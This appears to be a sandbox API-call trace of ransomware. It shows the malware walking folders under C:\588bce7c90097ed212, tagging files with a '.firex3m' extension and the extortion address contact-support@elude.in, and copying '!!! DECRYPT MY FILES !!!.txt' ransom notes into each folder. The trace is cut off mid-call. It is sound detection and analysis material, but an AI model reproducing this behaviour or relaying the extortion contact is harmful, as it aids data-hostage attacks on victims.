[0088.051] SysReAllocStringLen (in: pbstr=0x6ebf398*=0x0, psz="C:\\588bce7c90097ed212\\1037\\eula.rtf", len=0x23 | out: pbstr=0x6ebf398*="C:\\588bce7c90097ed212\\1037\\eula.rtf") returned 1 [0088.051] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1037\\eula.rtf", cchLength=0x23 | out: lpsz="c:\\588bce7c90097ed212\\1037\\eula.rtf") returned 0x23 [0088.051] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebe308, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0088.051] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebe308, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0088.051] SysReAllocStringLen (in: pbstr=0x6ebf338*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebf338*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0088.051] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0088.051] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebe33c, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txt") returned 28 [0088.051] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x64e230, cbMultiByte=17, lpWideCharStr=0x6ebe338, cchWideChar=2047 | out: lpWideCharStr="TEEWLJH3QNDSEELUTFILES !!!.txt") returned 17 [0088.052] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT", lpFindFileData=0x6ebf0a4 | out: lpFindFileData=0x6ebf0a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf971581b, ftCreationTime.dwHighDateTime=0x1d5e216, ftLastAccessTime.dwLowDateTime=0xf971581b, ftLastAccessTime.dwHighDateTime=0x1d5e216, ftLastWriteTime.dwLowDateTime=0xf971581b, ftLastWriteTime.dwHighDateTime=0x1d5e216, nFileSizeHigh=0x0, nFileSizeLow=0x12f, dwReserved0=0xf371c69a, dwReserved1=0x778947df, cFileName="TEEWLJH3QNDSEELUT", cAlternateFileName="TEEWLJ~1")) returned 0x6d53c0 [0088.052] FindClose (in: hFindFile=0x6d53c0 | out: hFindFile=0x6d53c0) returned 1 [0088.052] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\588bce7c90097ed212\\1037\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\588bce7c90097ed212\\1037\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0088.151] GetProcessHeap () returned 0x630000 [0088.151] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6b12b0, Size=0x10) returned 0x6b1340 [0088.151] FindNextFileW (in: hFindFile=0x6d5500, lpFindFileData=0x6ebf3a4 | out: lpFindFileData=0x6ebf3a4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x1198c, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0088.151] SysReAllocStringLen (in: pbstr=0x6ebf398*="c:\\588bce7c90097ed212\\1037\\eula.rtf", psz="C:\\588bce7c90097ed212\\1037\\LocalizedData.xml", len=0x2c | out: pbstr=0x6ebf398*="C:\\588bce7c90097ed212\\1037\\LocalizedData.xml") returned 1 [0088.152] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1037\\LocalizedData.xml", cchLength=0x2c | out: lpsz="c:\\588bce7c90097ed212\\1037\\localizeddata.xml") returned 0x2c [0088.152] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebe308, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0088.152] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebe308, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0088.152] SysReAllocStringLen (in: pbstr=0x6ebf338*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebf338*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0088.152] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0088.152] GetProcessHeap () returned 0x630000 [0088.152] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6b1340, Size=0x14) returned 0x6b0398 [0088.152] FindNextFileW (in: hFindFile=0x6d5500, lpFindFileData=0x6ebf3a4 | out: lpFindFileData=0x6ebf3a4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4158, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0088.152] SysReAllocStringLen (in: pbstr=0x6ebf398*="c:\\588bce7c90097ed212\\1037\\localizeddata.xml", psz="C:\\588bce7c90097ed212\\1037\\SetupResources.dll", len=0x2d | out: pbstr=0x6ebf398*="C:\\588bce7c90097ed212\\1037\\SetupResources.dll") returned 1 [0088.152] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1037\\SetupResources.dll", cchLength=0x2d | out: lpsz="c:\\588bce7c90097ed212\\1037\\setupresources.dll") returned 0x2d [0088.152] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebe308, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0088.152] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebe308, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0088.152] SysReAllocStringLen (in: pbstr=0x6ebf338*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebf338*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0088.152] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0088.153] FindNextFileW (in: hFindFile=0x6d5500, lpFindFileData=0x6ebf3a4 | out: lpFindFileData=0x6ebf3a4*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0088.153] FindClose (in: hFindFile=0x6d5500 | out: hFindFile=0x6d5500) returned 1 [0088.153] FindNextFileW (in: hFindFile=0x6d5380, lpFindFileData=0x6ebf66c | out: lpFindFileData=0x6ebf66c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1038", cAlternateFileName="")) returned 1 [0088.153] SysReAllocStringLen (in: pbstr=0x6ebf3a0*=0x0, psz="C:\\588bce7c90097ed212\\1038\\", len=0x1b | out: pbstr=0x6ebf3a0*="C:\\588bce7c90097ed212\\1038\\") returned 1 [0088.153] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1038\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\1038\\") returned 0x1b [0088.153] SysReAllocStringLen (in: pbstr=0x6ebf348*=0x0, psz="C:\\Users\\FD1HVy\\Desktop\\", len=0x18 | out: pbstr=0x6ebf348*="C:\\Users\\FD1HVy\\Desktop\\") returned 1 [0088.153] CharLowerBuffW (in: lpsz="C:\\Users\\FD1HVy\\Desktop\\", cchLength=0x18 | out: lpsz="c:\\users\\fd1hvy\\desktop\\") returned 0x18 [0088.153] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1038\\*.*", lpFindFileData=0x6ebf3a4 | out: lpFindFileData=0x6ebf3a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6d5340 [0088.154] FindNextFileW (in: hFindFile=0x6d5340, lpFindFileData=0x6ebf3a4 | out: lpFindFileData=0x6ebf3a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0088.154] FindNextFileW (in: hFindFile=0x6d5340, lpFindFileData=0x6ebf3a4 | out: lpFindFileData=0x6ebf3a4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0x109e, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0088.154] SysReAllocStringLen (in: pbstr=0x6ebf398*=0x0, psz="C:\\588bce7c90097ed212\\1038\\eula.rtf", len=0x23 | out: pbstr=0x6ebf398*="C:\\588bce7c90097ed212\\1038\\eula.rtf") returned 1 [0088.154] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1038\\eula.rtf", cchLength=0x23 | out: lpsz="c:\\588bce7c90097ed212\\1038\\eula.rtf") returned 0x23 [0088.154] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebe308, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0088.154] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebe308, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0088.154] SysReAllocStringLen (in: pbstr=0x6ebf338*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebf338*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0088.154] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0088.154] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebe33c, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txt") returned 28 [0088.154] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x64e230, cbMultiByte=17, lpWideCharStr=0x6ebe338, cchWideChar=2047 | out: lpWideCharStr="TEEWLJH3QNDSEELUTFILES !!!.txt") returned 17 [0088.155] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT", lpFindFileData=0x6ebf0a4 | out: lpFindFileData=0x6ebf0a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf971581b, ftCreationTime.dwHighDateTime=0x1d5e216, ftLastAccessTime.dwLowDateTime=0xf971581b, ftLastAccessTime.dwHighDateTime=0x1d5e216, ftLastWriteTime.dwLowDateTime=0xf971581b, ftLastWriteTime.dwHighDateTime=0x1d5e216, nFileSizeHigh=0x0, nFileSizeLow=0x12f, dwReserved0=0xf37428cd, dwReserved1=0x778947df, cFileName="TEEWLJH3QNDSEELUT", cAlternateFileName="TEEWLJ~1")) returned 0x6d4f40 [0088.155] FindClose (in: hFindFile=0x6d4f40 | out: hFindFile=0x6d4f40) returned 1 [0088.155] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\588bce7c90097ed212\\1038\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\588bce7c90097ed212\\1038\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0088.205] GetProcessHeap () returned 0x630000 [0088.205] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6b12f8, Size=0x14) returned 0x6b0338 [0088.205] FindNextFileW (in: hFindFile=0x6d5340, lpFindFileData=0x6ebf3a4 | out: lpFindFileData=0x6ebf3a4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x151aa, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0088.205] SysReAllocStringLen (in: pbstr=0x6ebf398*="c:\\588bce7c90097ed212\\1038\\eula.rtf", psz="C:\\588bce7c90097ed212\\1038\\LocalizedData.xml", len=0x2c | out: pbstr=0x6ebf398*="C:\\588bce7c90097ed212\\1038\\LocalizedData.xml") returned 1 [0088.205] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1038\\LocalizedData.xml", cchLength=0x2c | out: lpsz="c:\\588bce7c90097ed212\\1038\\localizeddata.xml") returned 0x2c [0088.205] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebe308, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0088.205] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebe308, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0088.206] SysReAllocStringLen (in: pbstr=0x6ebf338*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebf338*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0088.206] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0088.206] GetProcessHeap () returned 0x630000 [0088.206] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6b0338, Size=0x18) returned 0x6b04b8 [0088.206] FindNextFileW (in: hFindFile=0x6d5340, lpFindFileData=0x6ebf3a4 | out: lpFindFileData=0x6ebf3a4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4958, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0088.206] SysReAllocStringLen (in: pbstr=0x6ebf398*="c:\\588bce7c90097ed212\\1038\\localizeddata.xml", psz="C:\\588bce7c90097ed212\\1038\\SetupResources.dll", len=0x2d | out: pbstr=0x6ebf398*="C:\\588bce7c90097ed212\\1038\\SetupResources.dll") returned 1 [0088.206] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1038\\SetupResources.dll", cchLength=0x2d | out: lpsz="c:\\588bce7c90097ed212\\1038\\setupresources.dll") returned 0x2d [0088.206] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebe308, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0088.206] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebe308, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0088.206] SysReAllocStringLen (in: pbstr=0x6ebf338*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebf338*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0088.206] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0088.206] FindNextFileW (in: hFindFile=0x6d5340, lpFindFileData=0x6ebf3a4 | out: lpFindFileData=0x6ebf3a4*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0088.206] FindClose (in: hFindFile=0x6d5340 | out: hFindFile=0x6d5340) returned 1 [0088.207] FindNextFileW (in: hFindFile=0x6d5380, lpFindFileData=0x6ebf66c | out: lpFindFileData=0x6ebf66c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1040", cAlternateFileName="")) returned 1 [0088.207] SysReAllocStringLen (in: pbstr=0x6ebf3a0*=0x0, psz="C:\\588bce7c90097ed212\\1040\\", len=0x1b | out: pbstr=0x6ebf3a0*="C:\\588bce7c90097ed212\\1040\\") returned 1 [0088.207] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1040\\", cchLength=0x1b | out: lpsz="c:\\588bce7c90097ed212\\1040\\") returned 0x1b [0088.207] SysReAllocStringLen (in: pbstr=0x6ebf348*=0x0, psz="C:\\Users\\FD1HVy\\Desktop\\", len=0x18 | out: pbstr=0x6ebf348*="C:\\Users\\FD1HVy\\Desktop\\") returned 1 [0088.207] CharLowerBuffW (in: lpsz="C:\\Users\\FD1HVy\\Desktop\\", cchLength=0x18 | out: lpsz="c:\\users\\fd1hvy\\desktop\\") returned 0x18 [0088.207] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1040\\*.*", lpFindFileData=0x6ebf3a4 | out: lpFindFileData=0x6ebf3a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6d5200 [0088.208] FindNextFileW (in: hFindFile=0x6d5200, lpFindFileData=0x6ebf3a4 | out: lpFindFileData=0x6ebf3a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0088.208] FindNextFileW (in: hFindFile=0x6d5200, lpFindFileData=0x6ebf3a4 | out: lpFindFileData=0x6ebf3a4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xe3b, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0088.208] SysReAllocStringLen (in: pbstr=0x6ebf398*=0x0, psz="C:\\588bce7c90097ed212\\1040\\eula.rtf", len=0x23 | out: pbstr=0x6ebf398*="C:\\588bce7c90097ed212\\1040\\eula.rtf") returned 1 [0088.208] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1040\\eula.rtf", cchLength=0x23 | out: lpsz="c:\\588bce7c90097ed212\\1040\\eula.rtf") returned 0x23 [0088.208] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebe308, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0088.208] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebe308, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0088.209] SysReAllocStringLen (in: pbstr=0x6ebf338*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebf338*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0088.209] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0088.209] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebe33c, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txt") returned 28 [0088.209] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x64e230, cbMultiByte=17, lpWideCharStr=0x6ebe338, cchWideChar=2047 | out: lpWideCharStr="TEEWLJH3QNDSEELUTFILES !!!.txt") returned 17 [0088.209] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT", lpFindFileData=0x6ebf0a4 | out: lpFindFileData=0x6ebf0a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf971581b, ftCreationTime.dwHighDateTime=0x1d5e216, ftLastAccessTime.dwLowDateTime=0xf971581b, ftLastAccessTime.dwHighDateTime=0x1d5e216, ftLastWriteTime.dwLowDateTime=0xf971581b, ftLastWriteTime.dwHighDateTime=0x1d5e216, nFileSizeHigh=0x0, nFileSizeLow=0x12f, dwReserved0=0xf37428cd, dwReserved1=0x778947df, cFileName="TEEWLJH3QNDSEELUT", cAlternateFileName="TEEWLJ~1")) returned 0x6d5480 [0088.209] FindClose (in: hFindFile=0x6d5480 | out: hFindFile=0x6d5480) returned 1 [0088.209] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\588bce7c90097ed212\\1040\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\588bce7c90097ed212\\1040\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0088.421] GetProcessHeap () returned 0x630000 [0088.421] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6b04b8, Size=0x1c) returned 0x6e9120 [0088.421] FindNextFileW (in: hFindFile=0x6d5200, lpFindFileData=0x6ebf3a4 | out: lpFindFileData=0x6ebf3a4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x138bc, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0088.421] SysReAllocStringLen (in: pbstr=0x6ebf398*="c:\\588bce7c90097ed212\\1040\\eula.rtf", psz="C:\\588bce7c90097ed212\\1040\\LocalizedData.xml", len=0x2c | out: pbstr=0x6ebf398*="C:\\588bce7c90097ed212\\1040\\LocalizedData.xml") returned 1 [0088.421] CharLowerBuffW (in: lpsz="C:\\588bce7c90097ed212\\1040\\LocalizedData.xml", cchLength=0x2c | out: lpsz="c:\\588bce7c90097ed212\\1040\\localizeddata.xml") returned 0x2c [0088.421] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebe308, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0088.421] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebe308, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0088.421] SysReAllocStringLen (in: pbstr=0x6ebf338*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebf338*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0088.421] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0088.421] GetProcessHeap () returned 0x630000 [0088.421] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6e9120, Size=0x20) returned 0x6e8fb8 [0088.421] FindNextFileW (in: hFindFile=0x6d5200, lpFindFileData=0x6ebf3a4 | out: lpFindFileData=0x6ebf3a4*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0088.422] SysReAllocStringLen (in: 